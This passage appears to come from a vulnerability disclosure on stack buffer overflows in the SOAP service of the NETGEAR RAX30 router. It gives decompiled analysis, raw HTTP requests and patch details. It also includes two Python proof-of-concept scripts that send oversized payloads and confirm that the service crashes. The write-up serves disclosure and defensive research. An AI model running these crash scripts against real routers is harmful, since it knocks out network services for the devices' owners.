SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#A
Content-Length: 1
Host: 192.168.2.1:5043

A

Python Proof of Concept Script

The following proof of concept script (soap_protocol_overflow.py) can be executed to trigger the protocol stack overflow.

#!/usr/bin/env python3

import argparse
import requests
import urllib3
import ssl
import socket

def overflowHTTPProtocol(hostname, port, payload):
    request = """POST /soap/server_sa/ """+payload+"""
User-Agent: ksoap2-android/2.6.0+
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#A
Content-Length: 1
Host: """+hostname+""":"""+str(port)+"""

A"""

    # Create SSL context
    cxt = ssl.create_default_context()
    cxt.check_hostname = False
    cxt.verify_mode = ssl.CERT_NONE

    # HTTPS Request
    response = b""
    with socket.create_connection((args.domain, args.port)) as sock:
        with cxt.wrap_socket(sock, server_hostname=args.domain) as ssock:
            ssock.send(request.encode())
            while True:
                data = ssock.recv(2048)
                if len(data) <= 0:
                    break
                response += data

    return response

if __name__ == "__main__":
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    parser = argparse.ArgumentParser(description='Crash the soap_serverd binary on NETGEAR RAX30 router with a protocol buffer overflow.')
    parser.add_argument('--domain', default='routerlogin.net', help='The NETGEAR router domain.')
    parser.add_argument('--port', default=5043, type=int, help='The router soap server port.')

    args = parser.parse_args()

    # Trigger Protocol Overflow
    payload = ('A' * 2048) + ('B' * 2048) + ('C' * 2048) + ('D' * 4)

    print('Sending payload...')
    overflowHTTPProtocol(args.domain, args.port, payload)

    # Check we have crashed the SOAP service
    try:
        requests.post('https://' + args.domain + ':' + str(args.port) + '/soap/server_sa/', data='A', headers={
            'User-Agent': 'ksoap2-android/2.6.0+',
            'SOAPAction': 'urn:NETGEAR-ROUTER:service:DeviceInfo:1#A',
        }, verify=False)
        print('Payload failed to crash server.')
    except requests.exceptions.ConnectionError as e:
        if 'Connection refused' in str(e) or 'Connection aborted' in str(e):
            print('Payload crashed server!')
        else:
            print(str(e))

On execution, the payload will be sent to the SOAP service and cause it to crash on vulnerable firmware versions.

└─$ python3 soap_protocol_overflow.py --domain 192.168.1.1 --port 5043
Sending payload...
Payload crashed server!

Patch v1.0.10.94

The patch reduces the buffer sizes of the method, path and protocol buffers. It restricts the total read size of the fgetsFile function to 2048 bytes. It then limits the sscanf buffer copy size to 511 bytes for each of the 512 byte buffers.

int handle_soapRequest(char *ip)
{
    ...
    char line [2048];
    char method [512];
    char path [512];
    char protocol [512];
    char soapAction [2048];
    char body [2048];
    ...
    memset(line, 0, 2048);
    memset(method, 0, 512);
    memset(path, 0, 512);
    memset(protocol, 0, 512);
    ...
    int readCount = _fgetsFile(line, 2048);
    ...
    int iVar1 = __isoc99_sscanf(line, "%511[^ ] %511[^ ] %511[^ ]", method, path, protocol);
    ...
}

PSV-2023-0012 – SOAP Parameters Stack Buffer Overflow

Analysis

The loop which parses SOAP parameters in soap_action (0x00016f78) [21] overflows the RequestArg requestArgs [16]; variable [22] when more than 16 parameters are provided as there is no check on the number of parameters [23]. The overwrite however is in the format of a RequestArg [24] struct which means that the data being overwrote is pointers to the controllable parameters.

struct RequestArg // <--- [24]
{
    char* key;
    char* value;
    int unk1;
};

void soap_action(int param_1, char *action, char *body, char *ip)
{
    ...
    RequestArg requestArgs [16];         // <--- [22]
    RequestArg *args = requestArgs;
    memset(args, 0, 0xc0);
    ...
    strcpy(bodyQuery, ":Body>");
    bodyParser = strstr(body, bodyQuery);
    ...
    bodyParser = bodyParser + 1;
    ...
    int argc = 0;
    do {                                 // <--- [21]
        ...
        args->key = bodyParser;
        args->value = code;
        argc = argc + 1;
        args = args + 1;
        //                                  <--- [23] No check on arg count (argc)
    } while (pcVar2[1] != '\0');
    ...
}

HTTP Request

The following body payload containing many XML parameters triggers the requestArgs stack variable overflow:

POST /soap/server_sa/ HTTP/1.0
User-Agent: ksoap2-android/2.6.0+
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#A
Content-Length: 1930
Host: 192.168.2.1:5043

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb

Python Proof of Concept Script

The following proof of concept script (soap_parameters_overflow.py) can be executed to trigger the parameter stack overflow.

#!/usr/bin/env python3

import argparse
import requests
import urllib3

if __name__ == "__main__":
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    parser = argparse.ArgumentParser(description='Crash soap_serverd binary on NETGEAR RAX30 router with an XML parameters overflow.')
    parser.add_argument('--domain', default='routerlogin.net', help='The NETGEAR router domain.')
    parser.add_argument('--port', default=5043, type=int, help='The router soap server port.')

    args = parser.parse_args()

    # Trigger XML parameter overflow
    parameters = 'b' * 236
    body = '' + parameters + ''
    print('Sending payload...')
    requests.post('https://' + args.domain + ':' + str(args.port) + '/soap/server_sa/', data=body, headers={
        'User-Agent': 'ksoap2-android/2.6.0+',
        'SOAPAction': 'urn:NETGEAR-ROUTER:service:DeviceInfo:1#A',
    }, verify=False)

    # Check we have crashed the SOAP service
    try:
        requests.post('https://' + args.domain + ':' + str(args.port) + '/soap/server_sa/', data='A', headers={
            'User-Agent': 'ksoap2-android/2.6.0+',
            'SOAPAction': 'urn:NETGEAR-ROUTER:service:DeviceInfo:1#A',
        }, verify=False)
        print('Payload failed to crash server.')
    except requests.exceptions.ConnectionError as e:
        if 'Connection refused' in str(e) or 'Connection aborted' in str(e):
            print('Payload crashed server!')
        else:
            print(str(e))

On execution, the payload will be sent to the SOAP service and cause it to crash on vulnerable firmware versions.

└─$ python3 soap_parameters_overflow.py --domain 192.168.1.1 --port 5043
Sending payload...
Payload crashed server!

Patch v1.0.10.94

This vulnerability was patched by adding a bounds check within the loop [1], causing it to exit the loop when the request argument count reaches 16 to prevent the overflow.

void soap_action(int param_1, char *action, char *body, char *ip)
{
    ...
    RequestArg requestArgs [16];
    RequestArg *args = requestArgs;
    memset(args, 0, 0xc0);
    ...
    strcpy(bodyQuery, ":Body>");
    bodyParser = strstr(body, bodyQuery);
    ...
    bodyParser = bodyParser + 1;
    ...
    int argc = 0;
    while (bodyParser = strchr(pcVar3 + 1,0x3c), bodyParser != (char *)0x0)
    {
        ...
        argc = argc + 1;
        args->key = bodyParser;
        args->value = code;
        if ((pcVar3[1] == '\0') || (args = args + 1, argc == 16)) break; // [1] - argc bounds check
    }
    ...
}

Conclusion

Overall, the security posture of custom binaries built by NETGEAR contained many vulnerabilities, largely due to the widespread usage of insecure C functions such as strcpy, strcat, sprintf, or from off-by-one errors. However, the majority of the binaries on the NETGEAR router were compiled with many protections in place, including stack canaries, non-executable stack (NX), position-independent code (PIE) and address layout randomization (ASLR) enabled. These protections made many of the vulnerabilities identified difficult to exploit on their own.